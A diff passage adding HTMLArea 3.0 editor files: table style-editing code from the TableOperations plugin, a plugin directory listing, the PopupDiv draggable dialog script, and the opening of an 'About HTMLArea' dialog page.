+ case "f_st_backgroundColor":
+ style.backgroundColor = val;
+ break;
+ case "f_st_color":
+ style.color = val;
+ break;
+ case "f_st_backgroundImage":
+ if (/\S/.test(val)) {
+ style.backgroundImage = "url(" + val + ")";
+ } else {
+ style.backgroundImage = "none";
+ }
+ break;
+ case "f_st_borderWidth":
+ style.borderWidth = val;
+ break;
+ case "f_st_borderStyle":
+ style.borderStyle = val;
+ break;
+ case "f_st_borderColor":
+ style.borderColor = val;
+ break;
+ case "f_st_borderCollapse":
+ style.borderCollapse = val ? "collapse" : "";
+ break;
+ case "f_st_width":
+ if (/\S/.test(val)) {
+ style.width = val + params["f_st_widthUnit"];
+ } else {
+ style.width = "";
+ }
+ break;
+ case "f_st_height":
+ if (/\S/.test(val)) {
+ style.height = val + params["f_st_heightUnit"];
+ } else {
+ style.height = "";
+ }
+ break;
+ case "f_st_textAlign":
+ if (val == "char") {
+ var ch = params["f_st_textAlignChar"];
+ if (ch == '"') {
+ ch = '\\"';
+ }
+ style.textAlign = '"' + ch + '"';
+ } else {
+ style.textAlign = val;
+ }
+ break;
+ case "f_st_verticalAlign":
+ style.verticalAlign = val;
+ break;
+ case "f_st_float":
+ style.cssFloat = val;
+ break;
+// case "f_st_margin":
+// style.margin = val + "px";
+// break;
+// case "f_st_padding":
+// style.padding = val + "px";
+// break;
+ }
+ }
+};
+
+// Returns an HTML element for a widget that allows color selection. That is,
+// a button that contains the given color, if any, and when pressed will popup
+// the sooner-or-later-to-be-rewritten select_color.html dialog allowing user
+// to select some color. If a color is selected, an input field with the name
+// "f_st_"+name will be updated with the color value in #123456 format.
+TableOperations.createColorButton = function(doc, editor, color, name) {
+ if (!color) {
+ color = "";
+ } else if (!/#/.test(color)) {
+ color = HTMLArea._colorToRgb(color);
+ }
+
+ var df = doc.createElement("span");
+ var field = doc.createElement("input");
+ field.type = "hidden";
+ df.appendChild(field);
+ field.name = "f_st_" + name;
+ field.value = color;
+ var button = doc.createElement("span");
+ button.className = "buttonColor";
+ df.appendChild(button);
+ var span = doc.createElement("span");
+ span.className = "chooser";
+ // span.innerHTML = " ";
+ span.style.backgroundColor = color;
+ button.appendChild(span);
+ button.onmouseover = function() { if (!this.disabled) { this.className += " buttonColor-hilite"; }};
+ button.onmouseout = function() { if (!this.disabled) { this.className = "buttonColor"; }};
+ span.onclick = function() {
+ if (this.parentNode.disabled) {
+ return false;
+ }
+ editor._popupDialog("select_color.html", function(color) {
+ if (color) {
+ span.style.backgroundColor = "#" + color;
+ field.value = "#" + color;
+ }
+ }, color);
+ };
+ var span2 = doc.createElement("span");
+ span2.innerHTML = "×";
+ span2.className = "nocolor";
+ span2.title = TableOperations.I18N["Unset color"];
+ button.appendChild(span2);
+ span2.onmouseover = function() { if (!this.parentNode.disabled) { this.className += " nocolor-hilite"; }};
+ span2.onmouseout = function() { if (!this.parentNode.disabled) { this.className = "nocolor"; }};
+ span2.onclick = function() {
+ span.style.backgroundColor = "";
+ field.value = "";
+ };
+ return df;
+};
+
+TableOperations.createStyleLayoutFieldset = function(doc, editor, el) {
+ var i18n = TableOperations.I18N;
+ var fieldset = doc.createElement("fieldset");
+ var legend = doc.createElement("legend");
+ fieldset.appendChild(legend);
+ legend.innerHTML = i18n["Layout"];
+ var table = doc.createElement("table");
+ fieldset.appendChild(table);
+ table.style.width = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+
+ var tagname = el.tagName.toLowerCase();
+ var tr, td, input, select, option, options, i;
+
+ if (tagname != "td" && tagname != "tr" && tagname != "th") {
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Float"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ select = doc.createElement("select");
+ td.appendChild(select);
+ select.name = "f_st_float";
+ options = ["None", "Left", "Right"];
+ for (i in options) {
+ var Val = options[i];
+ var val = options[i].toLowerCase();
+ option = doc.createElement("option");
+ option.innerHTML = i18n[Val];
+ option.value = val;
+ option.selected = (("" + el.style.cssFloat).toLowerCase() == val);
+ select.appendChild(option);
+ }
+ }
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Width"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "text";
+ input.value = TableOperations.getLength(el.style.width);
+ input.size = "5";
+ input.name = "f_st_width";
+ input.style.marginRight = "0.5em";
+ td.appendChild(input);
+ select = doc.createElement("select");
+ select.name = "f_st_widthUnit";
+ option = doc.createElement("option");
+ option.innerHTML = i18n["percent"];
+ option.value = "%";
+ option.selected = /%/.test(el.style.width);
+ select.appendChild(option);
+ option = doc.createElement("option");
+ option.innerHTML = i18n["pixels"];
+ option.value = "px";
+ option.selected = /px/.test(el.style.width);
+ select.appendChild(option);
+ td.appendChild(select);
+
+ select.style.marginRight = "0.5em";
+ td.appendChild(doc.createTextNode(i18n["Text align"] + ":"));
+ select = doc.createElement("select");
+ select.style.marginLeft = select.style.marginRight = "0.5em";
+ td.appendChild(select);
+ select.name = "f_st_textAlign";
+ options = ["Left", "Center", "Right", "Justify"];
+ if (tagname == "td") {
+ options.push("Char");
+ }
+ input = doc.createElement("input");
+ input.name = "f_st_textAlignChar";
+ input.size = "1";
+ input.style.fontFamily = "monospace";
+ td.appendChild(input);
+ for (i in options) {
+ var Val = options[i];
+ var val = Val.toLowerCase();
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = i18n[Val];
+ option.selected = (el.style.textAlign.toLowerCase() == val);
+ select.appendChild(option);
+ }
+ function setCharVisibility(value) {
+ input.style.visibility = value ? "visible" : "hidden";
+ if (value) {
+ input.focus();
+ input.select();
+ }
+ };
+ select.onchange = function() { setCharVisibility(this.value == "char"); };
+ setCharVisibility(select.value == "char");
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Height"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "text";
+ input.value = TableOperations.getLength(el.style.height);
+ input.size = "5";
+ input.name = "f_st_height";
+ input.style.marginRight = "0.5em";
+ td.appendChild(input);
+ select = doc.createElement("select");
+ select.name = "f_st_heightUnit";
+ option = doc.createElement("option");
+ option.innerHTML = i18n["percent"];
+ option.value = "%";
+ option.selected = /%/.test(el.style.height);
+ select.appendChild(option);
+ option = doc.createElement("option");
+ option.innerHTML = i18n["pixels"];
+ option.value = "px";
+ option.selected = /px/.test(el.style.height);
+ select.appendChild(option);
+ td.appendChild(select);
+
+ select.style.marginRight = "0.5em";
+ td.appendChild(doc.createTextNode(i18n["Vertical align"] + ":"));
+ select = doc.createElement("select");
+ select.name = "f_st_verticalAlign";
+ select.style.marginLeft = "0.5em";
+ td.appendChild(select);
+ options = ["Top", "Middle", "Bottom", "Baseline"];
+ for (i in options) {
+ var Val = options[i];
+ var val = Val.toLowerCase();
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = i18n[Val];
+ option.selected = (el.style.verticalAlign.toLowerCase() == val);
+ select.appendChild(option);
+ }
+
+ return fieldset;
+};
+
+// Returns an HTML element containing the style attributes for the given
+// element. This can be easily embedded into any dialog; the functionality is
+// also provided.
+TableOperations.createStyleFieldset = function(doc, editor, el) {
+ var i18n = TableOperations.I18N;
+ var fieldset = doc.createElement("fieldset");
+ var legend = doc.createElement("legend");
+ fieldset.appendChild(legend);
+ legend.innerHTML = i18n["CSS Style"];
+ var table = doc.createElement("table");
+ fieldset.appendChild(table);
+ table.style.width = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+
+ var tr, td, input, select, option, options, i;
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["Background"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ var df = TableOperations.createColorButton(doc, editor, el.style.backgroundColor, "backgroundColor");
+ df.firstChild.nextSibling.style.marginRight = "0.5em";
+ td.appendChild(df);
+ td.appendChild(doc.createTextNode(i18n["Image URL"] + ": "));
+ input = doc.createElement("input");
+ input.type = "text";
+ input.name = "f_st_backgroundImage";
+ if (el.style.backgroundImage.match(/url\(\s*(.*?)\s*\)/)) {
+ input.value = RegExp.$1;
+ }
+ // input.style.width = "100%";
+ td.appendChild(input);
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["FG Color"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.appendChild(TableOperations.createColorButton(doc, editor, el.style.color, "color"));
+
+ // for better alignment we include an invisible field.
+ input = doc.createElement("input");
+ input.style.visibility = "hidden";
+ input.type = "text";
+ td.appendChild(input);
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["Border"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+
+ var colorButton = TableOperations.createColorButton(doc, editor, el.style.borderColor, "borderColor");
+ var btn = colorButton.firstChild.nextSibling;
+ td.appendChild(colorButton);
+ // borderFields.push(btn);
+ btn.style.marginRight = "0.5em";
+
+ select = doc.createElement("select");
+ var borderFields = [];
+ td.appendChild(select);
+ select.name = "f_st_borderStyle";
+ options = ["none", "dotted", "dashed", "solid", "double", "groove", "ridge", "inset", "outset"];
+ var currentBorderStyle = el.style.borderStyle;
+ // Gecko reports "solid solid solid solid" for "border-style: solid".
+ // That is, "top right bottom left" -- we only consider the first
+ // value.
+ (currentBorderStyle.match(/([^\s]*)\s/)) && (currentBorderStyle = RegExp.$1);
+ for (i in options) {
+ var val = options[i];
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = val;
+ (val == currentBorderStyle) && (option.selected = true);
+ select.appendChild(option);
+ }
+ select.style.marginRight = "0.5em";
+ function setBorderFieldsStatus(value) {
+ for (i in borderFields) {
+ var el = borderFields[i];
+ el.style.visibility = value ? "hidden" : "visible";
+ if (!value && (el.tagName.toLowerCase() == "input")) {
+ el.focus();
+ el.select();
+ }
+ }
+ };
+ select.onchange = function() { setBorderFieldsStatus(this.value == "none"); };
+
+ input = doc.createElement("input");
+ borderFields.push(input);
+ input.type = "text";
+ input.name = "f_st_borderWidth";
+ input.value = TableOperations.getLength(el.style.borderWidth);
+ input.size = "5";
+ td.appendChild(input);
+ input.style.marginRight = "0.5em";
+ var span = doc.createElement("span");
+ span.innerHTML = i18n["pixels"];
+ td.appendChild(span);
+ borderFields.push(span);
+
+ setBorderFieldsStatus(select.value == "none");
+
+ if (el.tagName.toLowerCase() == "table") {
+ // the border-collapse style is only for tables
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "checkbox";
+ input.name = "f_st_borderCollapse";
+ input.id = "f_st_borderCollapse";
+ var val = (/collapse/i.test(el.style.borderCollapse));
+ input.checked = val ? 1 : 0;
+ td.appendChild(input);
+
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ var label = doc.createElement("label");
+ label.htmlFor = "f_st_borderCollapse";
+ label.innerHTML = i18n["Collapsed borders"];
+ td.appendChild(label);
+ }
+
+// tr = doc.createElement("tr");
+// tbody.appendChild(tr);
+// td = doc.createElement("td");
+// td.className = "label";
+// tr.appendChild(td);
+// td.innerHTML = i18n["Margin"] + ":";
+// td = doc.createElement("td");
+// tr.appendChild(td);
+// input = doc.createElement("input");
+// input.type = "text";
+// input.size = "5";
+// input.name = "f_st_margin";
+// td.appendChild(input);
+// input.style.marginRight = "0.5em";
+// td.appendChild(doc.createTextNode(i18n["Padding"] + ":"));
+
+// input = doc.createElement("input");
+// input.type = "text";
+// input.size = "5";
+// input.name = "f_st_padding";
+// td.appendChild(input);
+// input.style.marginLeft = "0.5em";
+// input.style.marginRight = "0.5em";
+// td.appendChild(doc.createTextNode(i18n["pixels"]));
+
+ return fieldset;
+};
+
+//// END GENERIC CODE -------------------------------------------------------
--- /dev/null
+<files>
+ <dir name="SpellChecker" />
+ <dir name="TableOperations" />
+ <dir name="FullPage" />
+ <dir name="CSS" />
+ <dir name="ContextMenu" />
+ <dir name="HtmlTidy" />
+ <dir name="ListType" />
+</files>
--- /dev/null
+/** This file is derived from PopupDiv, developed by Mihai Bazon for
+ * SamWare.net. Modifications were needed to make it usable in HTMLArea.
+ * HTMLArea is a free WYSIWYG online HTML editor from InteractiveTools.com.
+ *
+ * This file does not function standalone. It is dependent of global functions
+ * defined in HTMLArea-3.0 (htmlarea.js).
+ *
+ * Please see file htmlarea.js for further details.
+ **/
+
+var is_ie = ( (navigator.userAgent.toLowerCase().indexOf("msie") != -1) &&
+ (navigator.userAgent.toLowerCase().indexOf("opera") == -1) );
+var is_compat = (document.compatMode == "BackCompat");
+
+function PopupDiv(editor, titleText, handler, initFunction) {
+ var self = this;
+
+ this.editor = editor;
+ this.doc = editor._mdoc;
+ this.handler = handler;
+
+ var el = this.doc.createElement("div");
+ el.className = "content";
+
+ var popup = this.doc.createElement("div");
+ popup.className = "dialog popupdiv";
+ this.element = popup;
+ var s = popup.style;
+ s.position = "absolute";
+ s.left = "0px";
+ s.top = "0px";
+
+ var title = this.doc.createElement("div");
+ title.className = "title";
+ this.title = title;
+ popup.appendChild(title);
+
+ HTMLArea._addEvent(title, "mousedown", function(ev) {
+ self._dragStart(is_ie ? window.event : ev);
+ });
+
+ var button = this.doc.createElement("div");
+ button.className = "button";
+ title.appendChild(button);
+ button.innerHTML = "×";
+ title.appendChild(this.doc.createTextNode(titleText));
+ this.titleText = titleText;
+
+ button.onmouseover = function() {
+ this.className += " button-hilite";
+ };
+ button.onmouseout = function() {
+ this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+ };
+ button.onclick = function() {
+ this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+ self.close();
+ };
+
+ popup.appendChild(el);
+ this.content = el;
+
+ this.doc.body.appendChild(popup);
+
+ this.dragging = false;
+ this.onShow = null;
+ this.onClose = null;
+ this.modal = false;
+
+ initFunction(this);
+};
+
+PopupDiv.currentPopup = null;
+
+PopupDiv.prototype.showAtElement = function(el, mode) {
+ this.defaultSize();
+ var pos, ew, eh;
+ var popup = this.element;
+ popup.style.display = "block";
+ var w = popup.offsetWidth;
+ var h = popup.offsetHeight;
+ popup.style.display = "none";
+ if (el != window) {
+ pos = PopupDiv.getAbsolutePos(el);
+ ew = el.offsetWidth;
+ eh = el.offsetHeight;
+ } else {
+ pos = {x:0, y:0};
+ var size = PopupDiv.getWindowSize();
+ ew = size.x;
+ eh = size.y;
+ }
+ var FX = false, FY = false;
+ if (mode.indexOf("l") != -1) {
+ pos.x -= w;
+ FX = true;
+ }
+ if (mode.indexOf("r") != -1) {
+ pos.x += ew;
+ FX = true;
+ }
+ if (mode.indexOf("t") != -1) {
+ pos.y -= h;
+ FY = true;
+ }
+ if (mode.indexOf("b") != -1) {
+ pos.y += eh;
+ FY = true;
+ }
+ if (mode.indexOf("c") != -1) {
+ FX || (pos.x += Math.round((ew - w) / 2));
+ FY || (pos.y += Math.round((eh - h) / 2));
+ }
+ this.showAt(pos.x, pos.y);
+};
+
+PopupDiv.prototype.defaultSize = function() {
+ var s = this.element.style;
+ var cs = this.element.currentStyle;
+ var addX = (is_ie && is_compat) ? (parseInt(cs.borderLeftWidth) +
+ parseInt(cs.borderRightWidth) +
+ parseInt(cs.paddingLeft) +
+ parseInt(cs.paddingRight)) : 0;
+ var addY = (is_ie && is_compat) ? (parseInt(cs.borderTopWidth) +
+ parseInt(cs.borderBottomWidth) +
+ parseInt(cs.paddingTop) +
+ parseInt(cs.paddingBottom)) : 0;
+ s.display = "block";
+ s.width = (this.content.offsetWidth + addX) + "px";
+ s.height = (this.content.offsetHeight + this.title.offsetHeight) + "px";
+ s.display = "none";
+};
+
+PopupDiv.prototype.showAt = function(x, y) {
+ this.defaultSize();
+ var s = this.element.style;
+ s.display = "block";
+ s.left = x + "px";
+ s.top = y + "px";
+ this.hideShowCovered();
+
+ PopupDiv.currentPopup = this;
+ HTMLArea._addEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ HTMLArea._addEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ if (is_ie && this.modal) {
+ this.doc.body.setCapture(false);
+ this.doc.body.onlosecapture = function() {
+ (PopupDiv.currentPopup) && (this.doc.body.setCapture(false));
+ };
+ }
+ window.event && HTMLArea._stopEvent(window.event);
+
+ if (typeof this.onShow == "function") {
+ this.onShow();
+ } else if (typeof this.onShow == "string") {
+ eval(this.onShow);
+ }
+
+ var field = this.element.getElementsByTagName("input")[0];
+ if (!field) {
+ field = this.element.getElementsByTagName("select")[0];
+ }
+ if (!field) {
+ field = this.element.getElementsByTagName("textarea")[0];
+ }
+ if (field) {
+ field.focus();
+ }
+};
+
+PopupDiv.prototype.close = function() {
+ this.element.style.display = "none";
+ PopupDiv.currentPopup = null;
+ this.hideShowCovered();
+ HTMLArea._removeEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ HTMLArea._removeEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ is_ie && this.modal && this.doc.body.releaseCapture();
+ if (typeof this.onClose == "function") {
+ this.onClose();
+ } else if (typeof this.onClose == "string") {
+ eval(this.onClose);
+ }
+ this.element.parentNode.removeChild(this.element);
+};
+
+PopupDiv.prototype.getForm = function() {
+ var forms = this.content.getElementsByTagName("form");
+ return (forms.length > 0) ? forms[0] : null;
+};
+
+PopupDiv.prototype.callHandler = function() {
+ var tags = ["input", "textarea", "select"];
+ var params = new Object();
+ for (var ti in tags) {
+ var tag = tags[ti];
+ var els = this.content.getElementsByTagName(tag);
+ for (var j = 0; j < els.length; ++j) {
+ var el = els[j];
+ params[el.name] = el.value;
+ }
+ }
+ this.handler(this, params);
+ return false;
+};
+
+PopupDiv.getAbsolutePos = function(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = PopupDiv.getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+PopupDiv.getWindowSize = function() {
+ if (window.innerHeight) {
+ return { y: window.innerHeight, x: window.innerWidth };
+ }
+ if (this.doc.body.clientHeight) {
+ return { y: this.doc.body.clientHeight, x: this.doc.body.clientWidth };
+ }
+ return { y: this.doc.documentElement.clientHeight, x: this.doc.documentElement.clientWidth };
+};
+
+PopupDiv.prototype.hideShowCovered = function () {
+ var self = this;
+ function isContained(el) {
+ while (el) {
+ if (el == self.element) {
+ return true;
+ }
+ el = el.parentNode;
+ }
+ return false;
+ };
+ var tags = new Array("applet", "select");
+ var el = this.element;
+
+ var p = PopupDiv.getAbsolutePos(el);
+ var EX1 = p.x;
+ var EX2 = el.offsetWidth + EX1;
+ var EY1 = p.y;
+ var EY2 = el.offsetHeight + EY1;
+
+ if (el.style.display == "none") {
+ EX1 = EX2 = EY1 = EY2 = 0;
+ }
+
+ for (var k = tags.length; k > 0; ) {
+ var ar = this.doc.getElementsByTagName(tags[--k]);
+ var cc = null;
+
+ for (var i = ar.length; i > 0;) {
+ cc = ar[--i];
+ if (isContained(cc)) {
+ cc.style.visibility = "visible";
+ continue;
+ }
+
+ p = PopupDiv.getAbsolutePos(cc);
+ var CX1 = p.x;
+ var CX2 = cc.offsetWidth + CX1;
+ var CY1 = p.y;
+ var CY2 = cc.offsetHeight + CY1;
+
+ if ((CX1 > EX2) || (CX2 < EX1) || (CY1 > EY2) || (CY2 < EY1)) {
+ cc.style.visibility = "visible";
+ } else {
+ cc.style.visibility = "hidden";
+ }
+ }
+ }
+};
+
+PopupDiv.prototype._dragStart = function (ev) {
+ if (this.dragging) {
+ return false;
+ }
+ this.dragging = true;
+ PopupDiv.currentPopup = this;
+ var posX = ev.clientX;
+ var posY = ev.clientY;
+ if (is_ie) {
+ posY += this.doc.body.scrollTop;
+ posX += this.doc.body.scrollLeft;
+ } else {
+ posY += window.scrollY;
+ posX += window.scrollX;
+ }
+ var st = this.element.style;
+ this.xOffs = posX - parseInt(st.left);
+ this.yOffs = posY - parseInt(st.top);
+ HTMLArea._addEvent(this.doc, "mousemove", PopupDiv.dragIt);
+ HTMLArea._addEvent(this.doc, "mouseover", HTMLArea._stopEvent);
+ HTMLArea._addEvent(this.doc, "mouseup", PopupDiv.dragEnd);
+ HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragIt = function (ev) {
+ var popup = PopupDiv.currentPopup;
+ if (!(popup && popup.dragging)) {
+ return false;
+ }
+ is_ie && (ev = window.event);
+ var posX = ev.clientX;
+ var posY = ev.clientY;
+ if (is_ie) {
+ posY += this.doc.body.scrollTop;
+ posX += this.doc.body.scrollLeft;
+ } else {
+ posY += window.scrollY;
+ posX += window.scrollX;
+ }
+ popup.hideShowCovered();
+ var st = popup.element.style;
+ st.left = (posX - popup.xOffs) + "px";
+ st.top = (posY - popup.yOffs) + "px";
+ HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragEnd = function () {
+ var popup = PopupDiv.currentPopup;
+ if (!popup) {
+ return false;
+ }
+ popup.dragging = false;
+ HTMLArea._removeEvent(popup.doc, "mouseup", PopupDiv.dragEnd);
+ HTMLArea._removeEvent(popup.doc, "mouseover", HTMLArea._stopEvent);
+ HTMLArea._removeEvent(popup.doc, "mousemove", PopupDiv.dragIt);
+ popup.hideShowCovered();
+};
+
+PopupDiv.checkPopup = function (ev) {
+ is_ie && (ev = window.event);
+ var el = is_ie ? ev.srcElement : ev.target;
+ var cp = PopupDiv.currentPopup;
+ for (; (el != null) && (el != cp.element); el = el.parentNode);
+ if (el == null) {
+ cp.modal || ev.type == "mouseover" || cp.close();
+ HTMLArea._stopEvent(ev);
+ }
+};
+
+PopupDiv.prototype.addButtons = function() {
+ var self = this;
+ var div = this.doc.createElement("div");
+ this.content.appendChild(div);
+ div.className = "buttons";
+ for (var i = 0; i < arguments.length; ++i) {
+ var btn = arguments[i];
+ var button = this.doc.createElement("button");
+ div.appendChild(button);
+ button.innerHTML = HTMLArea.I18N.buttons[btn];
+ switch (btn) {
+ case "ok":
+ button.onclick = function() {
+ self.callHandler();
+ self.close();
+ };
+ break;
+ case "cancel":
+ button.onclick = function() {
+ self.close();
+ };
+ break;
+ }
+ }
+};
--- /dev/null
+<!--
+
+(c) dynarch.com, 2003-2004
+Author: Mihai Bazon, http://dynarch.com/mishoo
+Distributed as part of HTMLArea 3.0
+
+"You are not expected to understand this... I don't neither."
+
+ (from The Linux Kernel Source Code,
+ ./arch/x86_64/ia32/ptrace.c:90)
+
+;-)
+
+-->
+
+<html style="height: 100%">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+window.resizeTo(450, 250);
+var TABS = [];
+var CURRENT_TAB = 0;
+var CONTENT_HEIGHT_DIFF = 0;
+var CONTENT_WIDTH_DIFF = 0;
+function selectTab(idx) {
+ var ct = TABS[CURRENT_TAB];
+ ct.className = ct.className.replace(/\s*tab-current\s*/, ' ');
+ ct = TABS[CURRENT_TAB = idx];
+ ct.className += ' tab-current';
+ for (var i = TABS.length; --i >= 0;) {
+ var area = document.getElementById("tab-area-" + i);
+ if (CURRENT_TAB == i) {
+ area.style.display = "block";
+ } else {
+ area.style.display = "none";
+ }
+ }
+ document.body.style.visibility = "hidden";
+ document.body.style.visibility = "visible";
+ document.cookie = "HTMLAREA-ABOUT-TAB=" + idx;
+}
+var editor = null;
+function initDocument() {
+ editor = window.dialogArguments;
+ HTMLArea = window.opener.HTMLArea;
+
+ var plugins = document.getElementById("plugins");
+ var j = 0;
+ var html = "<table width='99%' cellpadding='0' style='margin-top: 1em; collapse-borders: collapse; border: 1px solid #8b8;'>" +
+ "<thead><tr>" +
+ "<td>Name</td>" +
+ "<td>Developer</td>" +
+ "<td>Sponsored by</td>" +
+ "<td>License<sup>*</sup></td>" +
+ "</tr></thead><tbody>";
+ for (var i in editor.plugins) {
+ var info = editor.plugins[i];
+ html += "<tr><td>" + info.name + " v" + info.version + "</td>" +
+ "<td><a href='" + info.developer_url + "' target='_blank' title='Visit developer website'>" +
+ info.developer + "</a></td>" +
+ "<td><a href='" + info.sponsor_url + "' target='_blank' title='Visit sponsor website'>" +
+ info.sponsor + "</a></td>" +
+ "<td>" + info.license + "</td></tr>";
+ ++j;
+ }
+
+ if (j) {
+ html += "</tbody></table>" +
+ "<p><sup>*</sup> License \"htmlArea\" means that the plugin is distributed under the same terms " +
+ "as HTMLArea itself. Such plugins are likely to be those included in the official " +
+ "HTMLArea distribution</p>";
+ plugins.innerHTML = "<p>The following plugins have been loaded.</p>" + html;
+ } else {
+ plugins.innerHTML = "<p>No plugins have been loaded</p>";
+ }
+
+ plugins.innerHTML += "<p>User agent reports:<br/>" + navigator.userAgent + "</p>";
+
+ var content = document.getElementById("content");
+ if (window.innerHeight) {
+ CONTENT_HEIGHT_DIFF = window.innerHeight - 250;
+ CONTENT_WIDTH_DIFF = window.innerWidth - content.offsetWidth;
+ } else {
+ CONTENT_HEIGHT_DIFF = document.body.offsetHeight - 250;
+ CONTENT_WIDTH_DIFF = document.body.offsetWidth - 400;
+ }
+ window.onresize();
+ var bar = document.getElementById("tabbar");
+ j = 0;
+ for (var i = bar.firstChild; i; i = i.nextSibling) {
+ TABS.push(i);
+ i.__msh_tab = j;
+ i.onmousedown = function(ev) { selectTab(this.__msh_tab); HTMLArea._stopEvent(ev || window.event); };
+ var area = document.getElementById("tab-area-" + j);
+ if (/tab-current/.test(i.className)) {
+ CURRENT_TAB = j;
+ area.style.display = "block";
+ } else {
+ area.style.display = "none";
+ }
+ ++j;
+ }
+ if (document.cookie.match(/HTMLAREA-ABOUT-TAB=([0-9]+)/))
+ selectTab(RegExp.$1);
+}
+window.onresize = function() {
+ var content = document.getElementById("content");
+ if (window.innerHeight) {
+ content.style.height = (window.innerHeight - CONTENT_HEIGHT_DIFF) + "px";
+ content.style.width = (window.innerWidth - CONTENT_WIDTH_DIFF) + "px";
+ } else {
+ content.style.height = (document.body.offsetHeight - CONTENT_HEIGHT_DIFF) + "px";
+ //content.style.width = (document.body.offsetWidth - CONTENT_WIDTH_DIFF) + "px";
+ }
+}
+</script>
+<style>
+ html,body,textarea,table { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+ tt { font-size: 120%; }
+ body { padding: 0px; background: #cea; color: 000; }
+ a:link, a:visited { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ button { font: 11px tahoma,verdana,sans-serif; background-color: #cea;
+ border-width: 1px; }
+
+ p { margin: 0.5em 0px; }
+
+ h1 { font: bold 130% georgia,"times new roman",serif; margin: 0px; border-bottom: 1px solid #6a6; }
+ h2 { font: bold 110% georgia,"times new roman",serif; margin: 0.7em 0px; }
+
+ thead {
+ font-weight: bold;
+ background-color: #dfb;
+ }
+
+ .logo, .logo-hover {
+ white-space: nowrap;
+ background-color: #8f4; color: #040; padding: 3px; border-bottom: 1px solid #555;
+ height: 5em;
+ }
+ .logo .brand, .logo-hover .brand {
+ margin-left: 0.5em; margin-right: 0.5em; padding-bottom: 0.1em;
+ font-family: impact,'arial black',arial,sans-serif; font-size: 28px;
+ border-bottom: 1px solid #595; text-align: center;
+ cursor: pointer;
+ }
+ .logo-hover {
+ background-color: #fff;
+ }
+ .logo-hover .brand {
+ color: #800;
+ border-color: #04f;
+ }
+ .logo .letter, .logo-hover .letter { position: relative; font-family: monospace; }
+ .logo .letter1 { top: 0.1em; }
+ .logo .letter2 { top: 0.05em; }
+ .logo .letter3 { top: -0.05em; }
+ .logo .letter4 { top: -0.1em; }
+
+ .logo-hover .letter1 { top: -0.1em; }
+ .logo-hover .letter2 { top: -0.05em; }
+ .logo-hover .letter3 { top: 0.05em; }
+ .logo-hover .letter4 { top: 0.1em; }
+ .logo .version, .logo-hover .version { font-family: georgia,"times new roman",serif; }
+ .logo .release {
+ font-size: 90%; margin-bottom: 1em;
+ text-align: center; color: #484;
+ }
+ .logo .visit { display: none; }
+ .logo-hover .release { display: none; }
+ .logo-hover .visit {
+ font-size: 90%; margin-bottom: 1em;
+ text-align: center; color: #448;
+ }
+ .buttons {
+ text-align: right; padding: 3px; background-color: #8f4;
+ border-top: 1px solid #555;
+ }
+ #tabbar {
+ position: relative;
+ left: 10px;
+ }
+ .tab {
+ color: #454;
+ cursor: pointer;
+ margin-left: -5px;
+ float: left; position: relative;
+ border: 1px solid #555;
+ top: -3px; left: -2px;
+ padding: 2px 10px 3px 10px;
+ border-top: none; background-color: #9b7;
+ -moz-border-radius: 0px 0px 4px 4px;
+ z-index: 0;
+ }
+ .tab-current {
+ color: #000;
+ top: -4px;
+ background-color: #cea;
+ padding: 3px 10px 4px 10px;
+ z-index: 10;
+ }
+ table.sponsors { border-top: 1px solid #aca; }
+ table.sponsors td {
+ border-bottom: 1px solid #aca; vertical-align: top;
+ }
+ table.sponsors tr td { padding: 2px 0px; }
+ table.sponsors tr td.sponsor { text-align: right; padding-right: 0.3em; white-space: nowrap; }
+ li, ol, ul { margin-top: 0px; margin-bottom: 0px; }
+</style></head>
+<body onload="__dlg_init(); initDocument();"
